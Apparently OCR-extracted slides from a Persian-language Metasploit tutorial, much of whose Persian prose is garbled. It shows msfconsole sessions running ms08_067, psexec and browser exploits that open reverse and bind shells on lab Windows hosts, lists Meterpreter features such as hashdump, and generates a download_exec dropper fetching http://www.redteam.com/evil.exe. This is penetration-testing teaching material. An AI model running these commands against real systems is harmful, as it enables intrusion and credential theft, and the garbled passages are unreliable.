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A Applications Places System @J)=di | == Terminal = [Terminal] = Terminal ) B DO Moniun20,17:13°

rublackbuntu32/pentest/exploi $ msfconsole -r BeEF.rc [17:12:51] -=[ BeEF v0.4.2.6-alpha
[17 51] Ensure you're running the Idléb‘ framework version. Run 'svn updat
e' to update.
DataObjects::URI.new with arguments is deprecated, use 3 Hash of URI components
(/usr/lib/ruby/gems/1.8/gems/dm-do-adapter-1.1.0/lib/dn-do-adapter/adapter.rb:23

3 network interfaces were detected.
BeEF is loading. Wait a few seconds...
Successful connection with Metasploit.
7 extensions loaded:
| initialization
Core | console
iliary - 54 post | proxy
27 Mccmerf - 8 nops | e Logger
=[ svn ri29 des‘ca today (2011.06.20) | rations
| metasploit
rcsou’ce (BeEF. rus load xmlrpc ServerHost=127.0.0.1 Pass-beef ServerType~Web | administration we
: 127.0.0.1:55553 33 modules loaded.
=] N’LRPC Usernarrv msf running on network i
] XMLRPC Password: beef | Hook URL: http:/
XMLRPC Server Type: | ur :  http:
XMLRPC Web URI: /RP | Demo URL: http
*] Suu»s;full/ 1 '. gin: xmlrpc running on networ
| Hook URL: http:
| UI URL: http:// B
| Demo URL: http:/ 3 /demos/basic.htnl
running on network interfac 92.168.77.203
| Hook URL: http://192.168.77.203:3000/hook. js
| UT URL: 1//192.168.
| Demo URL: tp://192.16 77 203 30‘)0’!191'0%/&)3%1: html
[17:12: 521 HTTP Proxy: http://127.6.0.1:6789
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Caplpmllio AUS & gy po wilize sy

REX
The basic library for most tasks

Handles sockets, protocols, text transformations, and others
SSL, SMB, HTTP, XOR, Base64, Unicode

MSF::CORE
Provides the 'basic' API

Defines the Metasploit Framework

MSF::BASE
Provides the 'friendly' API

Provides simplified APIs for use in the Framework

'o._g)l..\') 6o ol r.-..da.u 9 o ol bl nl )l oslaiwl [olim PR




BACKBOX « BLACKBUNTU

Metasploitable

osl.é.i..»l)jfl_\.;fplﬂbqﬂlélﬁ,sﬁwoswl)@Ls)L_z.o_\o)s;H}J.__l_..»lLLoAS[a._x_sl_L;_\,gl.;

T Jl buze ol 03, 0T U35 Jby (pized 5 B3 S 3 wuwl 5 Swl L3 il ol Sl
oslaiwl MICrOSOft , VMware Jlsa ns w¥gozo )3 wlss (o b bouxe ol - pasles (5o oLt

..)9.0.3

UM communication interface socket family:
Blocking file system:
Guest operating =s=ystem daemon:
VUirtual Printing daemon:
Starting system log daemon...
Starting kernel log daemon. ..
Starting domain name s=erwvice... bind
Starting OpenB3D Secure 3hell server =shd
Starting MyS[HL database =server mysgld
Checking for corrupt, not cleanly closed and upgrade needing tables.
Starting PostgreSQL 8.3 database =server
Starting distccd
# Starting Postfix Mail Transport Agent postfix
Gtarting 3amba daemons: nmbd s=mbd.
Starting internet superserver xinetd
Starting ftp =server proftpd
Starting deferred execution scheduler atd
Starting periodic command scheduler crond
Starting Tomcat =servlet engine tomcat5.5
starting web server apacheZ
RBunming local boot scripts (retcrsrc.local)

LI B A

¥

buntu 8.04 metasploitable ttyl

etasploitable login:

Metasploitable sqkils iy

http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/Metaspl
oitable-05-2010.zip/download

Metasploitable a7 i

http://updates.metasploit.com/data/Metasploitable.zip.torrent

Ausles azalyo pa) ST & cagluwl Lo 39klS sl p
/http://www.metasploit.com/download

http:// mac.softpedia.com/qu/Securitv/ Metasploit-Framework.shtml
ISl cazow
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http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/Metasploitable-05-2010.zip/download
http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/Metasploitable-05-2010.zip/download
http://updates.metasploit.com/data/Metasploitable.zip.torrent
http://www.metasploit.com/download/
http://mac.softpedia.com/get/Security/Metasploit-Framework.shtml
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Hard Drive Space .

Available Memory

Processors Capabilities

Inter/Intra-net Access
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//See how fast it gets consumed!
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Linux "HOST" Minimal Memory Requirement's

1GB of system memory (RAM)

Realistically 2GB or more

Per Windows "GUEST" Minimal Memory Requirement's

abytes (MB) of RAM (1GB is recommended) /. ¢ rer hurts!

1GB or mo with a SwWAP fi

(

of RAM (1GB
with a SWAP fil




BACKBOX . BLACKBUNTU « BACKTRACK

Fundamental Metasploit
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//Extracted image file size on disk
//Per Converted FDCC VM on disk

//Optional Backtrack "GUEST" HDD Requirement's

//VMware—-converter—-4.0
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T~
Please wait while we load the module tree...

metasploit v4.2.0-dev [core:4.2 api:1.0]
775 exploits - 411 auxiliary 120 post
238 payloads - 27 encoders - nops

svn rl4414 updated today (2011.12.14)

RHOST => 152.168.1.100
PAYLOAD => windows/shell/bind tcp
Started bind handler
Automatically detecting the target...
Fingerprint: Windows XP — Service Pack 2 - lang:Unknown
could not detect the language pack, defaulting to English
ected Target: Windows XP SP2 English (ARlwaysOn NX)
Attempting to trigger the vulnerability...
Sending stage (240 bytes) to 192.168.1.1
Command shell session 1 opened (192.168.1.5: L 100:4444) at

aib) slgsl a1y 'O Salgs (o mawl Sols Joile &y bogs po 4l 35 plaS &S Syt yiedoe Loubs )51

Swlos aslol

t~F
Please wait while we load the module tree...

Name Current Setting ired Description

RHOST The target address

RPORT Set the SMB service port

L V4L
SMBPIPE BROWSER The pipe name to use (BROWSER, SRVSVC)

ba I aub) & sbal & ) P J=d Jsodle sl St (i )3 aF Algexe uals Ylis sl

C S aslal s ga yle 9




(A) dvanced
(AC) tions

(C) heck

(E) xecute
(H)elp

(I)DS Evasion
(0O) ptions
(P)ayloads
(S)ummary
(T)argets

BACKBOX - BLACKBUNTU - BACKTRACK

load the module tree...

rk/msf3/msf

Show ava advanced options for this module
Show availa actions for this au ry module
Run the check routine of the selected module
Execute the selected module
at it baby!
ids evasion options for
options for this module
» payloads for this modul
information about this module
; available targets for this exploit module

e
e

this module

e

oloss b bl 1 o sLiswsl sl e BENEFITS OF MSCLI

ﬁéugjbgwéﬂxl ol Jl luisin
0Pl LK pals plxil sl duse
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Msfconsol .V

E root : .rubybin

File Edit View Bookmarks Settings Help

root@bt: -# msfconsole

=[
=[
=[
=[ s

root : .ruby.bin

Losis 4 9 anl 35 peie "JomiS K ) and . il eMSF boul) 4 50 510 Yleial Msfconsole
I, Metasploit wsails )3 35350 sla a8 plos & Luyss 3o Sw piws b 3RS 50 o)l

T FR G K

L ussles aSiyl Jl ass Sl Sww e b5 & Jlgbs oT bu=e 5wz 2lb laxl s msfconsol
69 » MSFCONSOIE sy 35 (oo aiasts 3 bouso Jluws 35348 3L 1) LT 9 3uiS IS il giuwd
Ssles g0 oslaiwl Y)Y asus Jl &S SLulS Ja opl b adiS 5o O VY asuws b jsdis

w5 B2l Il JomiS b b & w piwd (Sl 5 S o S9A w59 0 1 Cygwin b
c33 5 o b 9y alios GUI wleldl

Ll BENEFITS

sl Metasploit s s sla S5 395 Jl ol & u riws s ol Ugs ¢l ®

Sl o Gl Gljuy JomiS sla oy asble
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MSF (sl ol 325 Jlasb 5 (S5 509 Sl ol Joliis
ol sy JueSs 5 tabbing a, readline Jols by ©

remawl judy ol MSfeonsole )s oxols ol giws sl yal e

1 packets transmitted, 1 *ﬂcc‘veo, )% 1 t loss, time
rtt min/avg/max/mdev = 10.308/10. ).308/0.000 ms
msf >

woldaloly

Sod 50 6 ilail o) ple yd lax jlmsfconsole” al Ji s S slw & msfconsole
sl oaub &8ls Opt/framework/msf3 / s, 515 .ls »> msfconsole

a

tas
5 es
8 p
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LI I | B |

< W0

n o
=

14414 updated today

buze cpl 03 &5 5,58 o 4y I 'msfeonsole )s -H' Jsiws b ausles o Lo
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Usage: msfconsole [options]

Specific options:
—d Execute the console as defanged
— T Execute the specified resource file
-0 Output to the specified file
—C Load the specified configuration file
-m Specifies an additional module search path
o o) Load a plugin on startup

-y: ——yaml Specify a YAML file containing database settings

—e 4 Specify the database environment to load from the YAML
——environment

-v, ——-version Show version

-L, ——-real-readline Use the system Readline library instead of ]

-n, —-no-database Disable database support

-q, ——quiet Do not print the banner on start up

Common options:
-h, —-help Show this message

JomiS )3 Dal b8 o) giws Jl i pud a5 Jlgw wodle § L s NEIP Hguws 935 b swles oo Losis

msf >

Core Commands

Description

Help menu
Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connec Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill Kill a job
load Load a framework plugin
loadpath Searches for and loads modules from a path
makerc Save commands entered since start to a file
quit Exit the console
reload all Reloads all modules from all defined module paths
resource Run the commands stored in a file
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Msfconsole Commands

S BT b 3wilss oo Loub a5 cuwl sislaie sla SielS 5 ol giws s <3 sls msfconsole

:BACK
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.CONNECT

I objae < &y Jlasl 4y )38 e =gy opledds 5 (52 ST puodT o L CONNECT lo 38 bouwss
il 03,5 oslauwl telnet s netcat jl a5 Sk sislod swiwa vss ol

10011)

o interacting via ne

then return.

JIRB
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JOB

Slue )38 )i eyl . 23l e Blasl by 5 (Dackground) ssS o s ple y8 ¢yl sla Jsjlo

Ales @l x8 1) L)l cpl Sl I il

OPTIONS:

t a running Jj

Print more 1 0. Use with -i and -1

.LOAD

AiSeo 583 sume 9 3w 5o sue |) METASPLOIT PLUGIN a5 Juasl < s 13556 ol 45 ¢yl
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d [var=val war=val

plugin from t

.LOAD PATH

L,oompJ—Qéfl.‘_z.il@ﬂ.if)l.}&).yu6|)gk’i";)éd95bm¢w).3_\jl93u.oob)éwl
S8 S [ 63 905 sy CHECK ) siws law o3 2l g3

:.UNLOAD

)Abod.gé)’lk;LQ.iLo)éo_»_.L?.o.le)J._é)lom[ol:_dlksLmLs)l.'\f)L?J.&L_»uo;,JQLo)éJ\._;Lé.o))
Blos (50 SL D ool

RESOURCE
a3l oauds (5135 )L MSFCONSOLE (5, 5o Jl a5 a8 50 lag 1 1 aiiws 5 @lie 5 Lbls 0lo s oyl

2 03 Loleys dcgeme bal ¢l gle 5 Ld I KARMETASPLOIT sile wides ool
S 50 o3laiwl ales < bl puis Sl sl [karma.rc file PUT SOMETHING HERE]

[pathZ

contaln
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karma.rc

- version.rc

:ROUTE

L" COMM " ciomd sapb Jl D 1 0 pen jume a5 Suimd )30 Losb g sluwllio )3 pgimd ol b
Ol 303a suwe <K 3,5 a8lsl shu 9 3sT wawas "PIVOTING" wus jbs asl o ,8 pol 3
31iSse o3liiuwl COMM o &5 an g5 b asuis IP g SUBNET
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msf exploit(ms08 067 netapi) > info auxiliary/dos/windows/smb/ms0% 001 write

Name: Microsoft SRV.S8YS WriteAndX Invalid DataOffset
Module: auxiliary/dos/windows/smb/ms0S 001 write
Version: 10394
License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:
j.w.wvallejo

Basic options:
Name Current Setting Required Description
RHOST The target address
RPORT 445 Set the SMB service port

Description:
This module exploits a denial of service vulnerability in the
SEV.8YS driver of the Windows operating system. This module has been
tested successfully against Windows Vista.

References:
http://www.microsoft.com/technet/security/bulletin/MsS05%-001.mspx
http://www.osvdb.org/48153
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4114
http://www.securityfocus.com/bid/31179

SET

LSI)-.‘ LQ).A.QDL\}LQ Aol Ls_\..u).f.u LSI)-.‘ \_x}x)h(; S aS A9 3ue o)l leds A uLo).B L)"I
Jg_ﬂo.)l.éim".;.).%.)wO)L_;|\Ls}l¢w|liog.).:\_lailaﬁ|).é|) Mw)lfuTbAfk,laskstjg)Lo

33,5 hal Jsile UTWQ[@)&))}MW aslal hal ylo) Lo jle &y a8

msf auxiliary(
EHOST => 192.168.1.1
mst auxiliary(

Module options:

Name Setting Reguired Description
RHOST . .1. The target address
RPORT Set the SMB service port
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msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24

msf > set THREADS 50

THREADS => 50

RHOSTS
THREADS

msf > unset THREADS

Unsetting THREADS...
msf > unset all

Flushing datastore...
msf > set

Neo entries in data

msft >

SESSION

Doimwd oyl Jl oslaiwl b &5 383 oo olis [ aSub 903 Jled sl blis)l I i olo xd ol shal b
sl elxsl HIGACKING SESSION ales plsiue LT ID juss 5 Jlss sl SESSION ais 5

msf > sessions —h
Usage: sessions [options]

Active session manipulation and interaction.
OPTIONS:

Terminate all sessions
Run a command on the session given with -i, or all
Detach an interactive session

Help banner
Interact with the supplied session ID
Terminate session

List all actiwve sessions

Quiet mode

Reset the ring buffer for the session given with -i, or
Run a script on the session given with -i, or all
Upgrade a win32 shell to a meterpreter session

List verbose fields
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AUXILIARY
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xplo

metasploit fundamental Lis ¥l b Lo &5 5 5ib 4iaS gl pasis s )l aSisl I Jub

Metasploit Fundamentals
Msfcli

Msfweb .
Msfconsole
Commands Msfconsole o

Exploits «
Exploits Using o

Payloads -«
Types Payload o

Payloads Generating o

Meterpreter About


http://www.esecurity.ir/metasploit-unleashed/Msfcli
http://www.esecurity.ir/metasploit-unleashed/Msfweb
http://www.esecurity.ir/metasploit-unleashed/Msfconsole
http://www.esecurity.ir/metasploit-unleashed/Msfconsole_Commands
http://www.esecurity.ir/metasploit-unleashed/Exploits
http://www.esecurity.ir/metasploit-unleashed/Using_Exploits
http://www.esecurity.ir/metasploit-unleashed/Payloads
http://www.esecurity.ir/metasploit-unleashed/Payload_Types
http://www.esecurity.ir/metasploit-unleashed/Generating_Payloads
http://www.esecurity.ir/metasploit-unleashed/About_Meterpreter

Basics Meterpreter o

213 53 50 €XPIOIL gy 1o oy 4 ciaind (ol Vs

: .)};u
Active Exploit .\

passive Exploit v

223 5o dwlsl muld K wledbl Zhhsuwl 4y w5 0bl 4 a5 sl ala=) G active exploit s

3o 5oz 0T K plasl jlas sl 9 383 5o delsl 355 )1 shal & sy
Soibs 5o I OT Sl ey slousT 3 5ib 3)ly Sib 3 a5 Siley brute-force Jsjlo o
Soib 5o a9 Jilo Sral Soub anlge Uax L ST o
exploit ) guws adawlgs " -j " wle »8 Jouw 3 Dackground L Active Jsjile Jl auwlss oo Lot o

AuiS” oslasiwl

Jbe
FeVers ) jugSae Jubs 53 puilyd 50 eal 03,)9T o sy Jad )l &5 ileMbol )l 0 Slaiol L

P2 LBID @il ($9) 2 (shell


http://www.esecurity.ir/metasploit-unleashed/Meterpreter_Basics

msft >

msf exploit |

RHOST => 1952.168.

mst exploit |

PAYLOAD => windows/shell/reverse tcp
msf exploit( )y o>
LHOST => 192.168.1.
msf exploit | ) o>
LPORT =2 4444

msf exploit | ) =
SMBUSER => wictim

msf exploit | ) >
SMEPASS => s3crit

mst exploit( ) =

Connecting to the server...
Started reverse handler

Authenticating as user 'victim'...

Uploading payload...

Created \hikmFeFEM.exe. ..

Binding to 367abb81-9844-35f1-ad32-98f038001003:2.08ncacn np:
Bound to 367abb81-9844-35f1-a3d32-98£f038001003:2.0Encacn np:1
Obtaining a service manager handle... a
Creating a new service (ciWyCVEp - "MXAVZsCgfRtZwScLdexnD™) ...
Closing service handle...

Opening service. ..

Starting the service...

Removing the service...

Closing service handle. ..

Deleting ‘\hikmEeEM.exe. ..

Sending stage (240 bytes)

Command shell session 1 opened (1%2.168.1.5:4444 —> 19%2.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Passive exploit

Cl).ﬁdwn)uLc&bl_ul,i;t;_uLou,odbasl oo awnld 4y 3945 9 3909 Sl kST )l g5 oyl
sles

o pé 5 ftP Wb piie s WED Drowzer sisle Hb yisive 5395 o o shunST g 55 (3l Aubinady Ly a5

IS 35 yw3




o Juasl sl exploit email alusgs Sbls)l sl aslobus I osliiwl 4y )31y oluwsT jl g95 ¢yl o

R I

SESSION )i o m " = 1" Yloyd b bl (oo S5 LIS & pals e

€6.1.100:4444

ing interaction with 1...

meterpreter >

bl o U9 S (pieuil s r9u0 Ay aaghunST £95 (al (590 1 (5333 T
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msft >

msf exploit( )

URIPATH => /

msf exploit( )

PAYLOAD => windows/shell/reverse tcp

mst exploit( )

LHOST => 1%2.168.1.5

msf exploit( )y o>

LPORT => 4444

msf exploit( ) o>
Exploit running as background job.

Started reverse handler
Using URL: http://0.0.0.0:80
Local IP: http://192.168.
Server started.
exploit (
Attempting to exploit ani loadimage chunksize
Sending HTML page to 1%2.168.1.100:1077...
Attempting to expleoit ani loadimage chunksize
Sending Windows ANI LoadAniIcon() Chunk Size Stack Owverflow (HTTP) to 192.16
Sending stage (240 bytes)
Command shell session 2 opened (192.168.1.5:4444 -> 1%2.168.1.100:1078)

exploit ( ) =
Starting interaction with 2...

Microsoft Windows XP [Versicon 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>

Using exploits

msfconsole Jsuwis 5 e sluwllio »s "exploit” s " check” bl 43 ol

msf >
msf exploit(

Exploit Commands

Description

Check to see if a target is wulnerable
Launch an exploit attempt

rcheck Reloads the module and checks if the target is wvulnerable
rexploit Reloads the module and launches an explolit attempt

msf exploit (ms08 067 netapi) >
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gl )3 SHOW Hgiuws I o Slaiwl

TARGETS
msf exploit(
Exploit targets:
Id Name

0 Windows NT SP3-6a/2000/XP/2003 Universal

PAYLOADS

msf exploit (

Compatible payloads

Description

generic/debug trap Generic =86 Debug Trap

OPTIONS

msf exploit(
Module options:

Name Current i Required Description

RHOST 192.1 1.1 The target address
RPORT 135 The target port

Exploit target:
Id HName

0 Windows NT SP3-6a/2000/XP/2003 Universal
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ADVANCED

EVASION

C::fake bind multi
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Metasploit Architecture

LIBRARIES INTERFACES

» Rex Console

A
CLI

MSF Core

A Web

PLUGINS » MSF Base’ GUI
A

MODULES

Payloads Exploits Encoders  Nops Aux
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Payloads

S payload

A 1) 5suels (K J i 383 e olal Lasb 4y a5 el ey shusllio J1331 e 53 1 sl ashad 3 5hl )

M),m]ans\_uﬁlamf|._ﬁk5|)a|d.bm|3dq.)9muadamr:.mm»&dad}oao)pbda.)pbb
3.&&mu.o|)[o.uww\_{:ucls.)c9b.wu*93 ¢ 39 iy ) 3ol 8 5o Jon a5 SholuwST as
J,\_lé;,lslsl._;_g_\.,lﬂusle)érojw)lduo)}b@&ml)sﬁs,lalﬂ6l)_;|l._.4.ifua_\.3)9

B PR K

31305 )le 31 el 35kl b 55 Olsize &5 1) S uw yiawd i85 3l Guy Jla

upload and download files «
take screenshots

hashes collect password «
take over the screen .

mouse, and keyboard to fully control the computer .
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stage
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S 28 shal 5 )5l = a3 (attack) ales PR )3 aS 383 50 o)l caliske glosl oyl
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oS b a5l Stage wJls s (payload) sl s lasliol ) g0 ass olgal olsa
Do 50 oals ylis /" (Syntaxt)

: JUo 5l 9
. =l payload single s, " windows/shell_bind_tcp"
(shell) zuwl < 5 (bind_tcp) 5150l < Jolis a5 "Windows/shell/bind_tcp"

<awl

single payload

Olod b 5 el Slaal 3 yo)l5 <5 03,8 aslsl sisle (L un Sl e SiNgle payload
Soib o Juolis [ Calc.exe sl yalb o victim

strager payload

(victim) L 3 5 (attacker) palie ol A yielae 5 (ol L)l K 35hL Sl 55 oyl

S0 VY3

stage payload

g 5o Sokils StrAgers sl Jsile bousss 4 siiwmd 3obb Jl (s puolic

a5 231 35a 9 Sd9 e i W9 Al iy sl ST s b 53s5LsT sla Stage payload
)l ads e

meterpreter .
vnc injection .

iphone ipwn shell .
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(payload type ) s5lL glgsl

Staged Inline (Non .
Staged .

Meterpreter .

PassiveX .

NoNX .

Oord .

IPv6 .

injection Reflective DLL .

D ools Gl shal HUlss 5 315 Sols wlxudgs b 03 5 06 Yo )3 &5 Ligl Jl plas ja a5 o

.'o._g)'l.)ﬁ =P ol & Gass wabe s as Ju)ls

GENERATING PAYLOAD

03 oslaiwl sl (Shell code) 55 Jubs 3 g5 a5 s Labad Laubs « s sl dsuw 53 Job )
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3
£
5

=L
+ -- --=[ 705 exploits - 365 auxiliary - 57 post
+ -- --=[ 224 payloads - 27 encoders - 8 nops

=[ svn r13829 updated today (2011.06.25)

nsf > use windows/download_exec
msf payload(download _exec) > show options

Module options (payload/windows/download_exec):

Name Current Setting Required Description

URL yes The pre-encoded URL to the executable

msf payload(download _exec) > set URL http://www.redteam.com/evil.exe
URL => http://www.redteam.com/evil.exe

ms¥ payload(download _exec) > generate -t exe -f /tmp/dropper.exe

[*] Writing 73802 bytes to /tmp/dropper.exe...

nsf payload(download_exec) > [j




Auxiliary Payloads Hista

File View §34:[
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Jobs | S| aix

bsdi
dialup
freebsd
hpux
irix
linux
multi
netware
0SX
solaris
unix

v

N AN\ ARA, AN A8 25 A0\ Aid LA AN 43

Clients T Services

antivirus
arkeia

backdoor
backupexec
brightstor
browser
dcerpc
driver

email

emc
fileformat
firewall

\ AR\ AR, LS SRR A\ A £, SRS 10 A 4

v

32bitftp_list_reply
3cdaemon_ftp_user
aasync list_reply
ability_server_stor
absolute_ftp_list_bof
cesarftp_mkd
dreamftp_format
easyfilesharing_pass
easyftp_cwd fixret
easyftp_list_fixret
easyftp_mkd fixret
filecopa_list_overflow
filewrangler_list_reply
freeftpd_user
ftpgetter_pwd _reply
ftppad_list_reply
ftpshellS1_pwd reply
ftpsynch_list_reply
gekkomgr _list_reply
globalscapeftp_input
goldenftp_pass_bof
httpdx tolog_format
leapftp_list_reply
leapftp_pasv_reply
ms09 053 ftpd_nlist
netterm_netftpd_user

!e Plugins Help

Events

odin_list_reply
oracle9i xdb_ftp_pass
oracle9i_xdb_ftp_unlock
proftp_banner
sami_ftpd_user
sasser_ftpd_port
scriptftp_list
seagqull_list_reply
servu_chmod
servu_mdtm
slimftpd_list_concat
trellian_client_pasv
vermillion_ftpd_port
warftpd_165 pass
warftpd_165 user
wftpd_size
wsftp_server_503 mkd
wsftp_server_505 xmd5
xftp_client_pwd
xlink_client
xlink_server




Session Edit View Bookmarks Settings Help

he use command is used (0 interact=with a module of a given name.
f > use auxiliary/server/browser autopwn
Failed to load module: auxiliary/server/browser autopwnn
use auxiliary/zerver/browser autopwn
msf auxiliary(browser autopwn) = show options

Module options:

Name Current Setting Required Description

LHOST The IP address to-use for reverse-connect payl

SRVHOST The local host to listem on.

SRVPORT 8080 The local port to listen on.

S5L false no Negotiate SSL for incoming connections

SSLVersion SS5L3 no specify the wversion of SSL that should be used
ed: S5L2, 55L3, TLS1)

URIPATH no The URI to use for this exploit (default is ra

msf auxiliary(browser autdpwn) > set’ LHOST 192.168.13.130
LHOST == 192.168.13.130

msf auxiliary(browser autopwWn) = show options

Module optiuns:

Name Current Setting Required Description

LHOST 192.168.13.138 vyes The IP address to use for reverse-connect payl

rom b~

<uokuubio )l gajoel MLIEN_EVILSS
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Shell - Msfconsole
Session Edit View Bookmarks Settings Help

msf exploit(msd3 026 dcom) > set PAYLOAD windows/meterpreter/bind tcp
PAYLOAD => windows/meterpreter/bind tcp
msf exploit(ms@3 026 dcom) = show options

Module options:
Name Current Setting Required Description

RHOST 192.168.13.138  yes The target address
RPORT 135 yes The target port

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Reguired Description

EXITFUNC thread y Exit technique: seh, thread, none, proce

LPORT 4444 Yes The listen port
RHOST 192.168.13.130 no The target address

Exploit target:

Id Name

@ Windows NT SP3-6a/2000/XP/20883 Universal

& Shell

\9 call \'y ™ | ﬁ Shell - Msfconsole BT %ﬁ 1 2 E =LG :

<ugkuubio )l ghjgal ALIEN_EVILSS
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Shell - Fast Track

windows/vncinject/reverse_tcp Windows VNC Inject, Reverse T(P Stager

NSO EEERECY S El O st payload windows/shell/bind tcp
payload => windows/shell/bind tcp
nsf exploit(ms@8_067 netapi) > show options
Module options:
Name Current Setting Required Description
RHOST The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload cptions (windows/shell/bind tcp):
Name Current Setting Required Descripticn
Exit technique: seh, thread, process
LPORT 4444 yes The local port
RHOST no The target address
Exploit target:

Id Name

0 Automatic Targeting

nsf exploit(ms68 067 netapi) > |}

<uokuubio )l gijgal ALITEN_EVILSS
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GOALS METERPRETER DESIGN
b slaal

S 5o S5l ) stdapi ¥goese o .20l 50 4w 55 Meterpreter
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Powerful
A8 50 olaiwl Sl JUI 5 i meterpreter .
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Sl b wlxwo s i 5 0393 Vil 398 o)l Silmwd o5 dub DI @ 9iiesd YL s &S  Sllos

S g (50 a3l oslaiwl 0 95 0 )b
Meterpreter Basics

) gind Sl A 0 le 38 (5o @13 b 393a buze S NS Meterpreter as LT Ji
350338 Dl (ol b (6 it (2 LT S 50 K8 Lo 43 a5 g9 b sl 1 4y, Meterpreter
Sabb asubly
temanl ) D)3 Ay 3903 oslaiwl 3de3 a8 Hljal (pl VS VlgS (50 &5 (F) gl
help.\

background.y .

pS.¥ .
migrate. ¢ o

s> o

download.s

upload v

ipconfig. A
getuid. 4 «

execute V- .

shell. \\

idletime. \v

hashdump \v .


http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#help
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#background
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#ps
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#migrate
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#ls
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#download
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#upload
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#ipconfig
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#getuid
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#execute
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#shell
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#idletime
http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics#hashdump
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upload
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execute
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Information Gathering

Framework The Dradis

Databases Configuring

Scanning Port .

Plugins Auxiliary

MSSOL Hunting For

Identification Service «

Sniffing Password  «
Psnuffle Extending o

Sweeping SNMP .

Scanner Writing Your Own
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http://www.esecurity.ir/metasploit-unleashed/The_Dradis_Framework
http://www.esecurity.ir/metasploit-unleashed/Configuring_Databases
http://www.esecurity.ir/metasploit-unleashed/Port_Scanning
http://www.esecurity.ir/metasploit-unleashed/Auxiliary_Plugins
http://www.esecurity.ir/metasploit-unleashed/Hunting_For_MSSQL
http://www.esecurity.ir/metasploit-unleashed/Service_Identification
http://www.esecurity.ir/metasploit-unleashed/Password_Sniffing
http://www.esecurity.ir/metasploit-unleashed/Extending_Psnuffle
http://www.esecurity.ir/metasploit-unleashed/SNMP_Sweeping
http://www.esecurity.ir/metasploit-unleashed/Writing_Your_Own_Scanner
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dee 22 B30 & 13SI e s cpal Jl oslaiwl 5 g9 0 (Sl Sl siue Leubs Backtrack5 o5 5 5 o
BT ab s a5 ) 9T )b Hh)geT DlS Soub (50 dwoss Au)las HLbT 555 KL HST) dwles

(S S obils alubT yomil Jl L) el o séss
Sales Jd 1 )31 e 5 aulsize JUas s Jals /cd /pentest/misc/dradis suws b b Lais

SHlssl el )9 aiSee ol /start.sh ) guws 5 oaui )33l P bouzme 3)l9 Vb ) ginss Jl Ay

23,50

Applications Places System [>_| ] [ SatApr28, 2:41PM

I~ v x root@bt: /[pentest/misc/dradis
File Edit View Terminal Help

:~# cd /pentest/misc/dradis/
:/pentest/misc/dradis# ./start.sh
> Booting WEBI
=> Rails 3.0.6 application starting in production on http://127.0.0.1:3004
=> Call with -d to detach
=> (trl-C to shutdown server
[2012-04-28 14:39:13] INFO WEBrick 1.3.1
[2012-04-28 14:39:13] INFO ruby 1.9.2 (2010-07-02) [i486-1linux]
[2012-04-28 14:39:13] INFO
Certificate:
Data:
Version: 1 (0x0)
Serial Number:
8a:d4:1d:fe:b0:01:ee:bd
Signature Algorithm: shalWithRSAEncryption
Issuer: (=AU, ST=Some-State, 0=Dradi$ Framework [dradisframework.ong], 0
U=Dradis server, CN=dradis
Validity
Not Before: Feb 10°17:35:17 2011 GMT
Not After : Feb 10 17:35:17 2012 GMT
Subject: (=AU, ST=Some-State, 0=Dradis Framework [dradisframework.org],
0U=Dradis server, CN=dradis
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:a9:cc:e6:f1:65:2e:47:7¢:8f:96:03:5¢:58:¢7:

<uqkuulio gl gijeel MLIEN_EVILSS
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Applications Places System E ] [« SatApr28, 2:42PM &

~ v X root@bt: /pentest/misc/dradis
File Edit View Terminal Help
U=Dradis server, CN=dradis
Validity
Not Before: Feb 10 17:35:17 2011 GMT
Not After : Feb 10 17:35:17 2012 GMT
ubject: (=AU, ST=Some-State, O=Dradis Framework [dradisframework.org],
, CN=dradis
] blic Key Info:
ublic Key Algorithm: rsaEncryption
RSA Public Key: (1624 bit)

Modulus (1624 bit):
00:a9:cc:e6:f1:65:2e:47:7c:8f:96:03:5¢C:
13:68:6€e:9 4:2b:01:d1:1a:
b4:c0:ae:7 :ad:66:dd:69:51: f
26:e8:08:a0: 2:d7:76:9d:8e:db:
15:db:d4:7b:31:59:d1:92:1e:2a:a8:€3:
€6:66:4b:b1:58:68:98:¢7:34:16:
52:50:1a:a f7:14:51:10:6¢:ab:
72:86:18:a¢ 1€9:7e:19:b4:

15: :86:26:b7: b

:0e:b4:
b5:6¢:f0:
:07:df:
:b3:20:
:a2:53:d3:98:
:164:1f:2d:2d:
2:e8:09:5¢C:

C

:9f:
53

la:
16:

[2012-04-28 14:39:13] INFO WEBrick::HTTPServer#start: pid=14296 port=3004

La DrOWZEr plea b oy sy G b J1 4 pusib 50 03leT S5 (5o (Sl o) p3 sun aSiyl jl 32y
PR EMP SE POy

<uqkuulio gl gijeel MLIEN_EVILSS



b4 SatApr28, 2:47 PM
k., Accessories

X BackTrack b

,g Graphics

® intemnet ') Firefox Web Browser

¥ office (1) Wicd Network Manager  anework [dradisframewo
T e

& Other € Zenmap

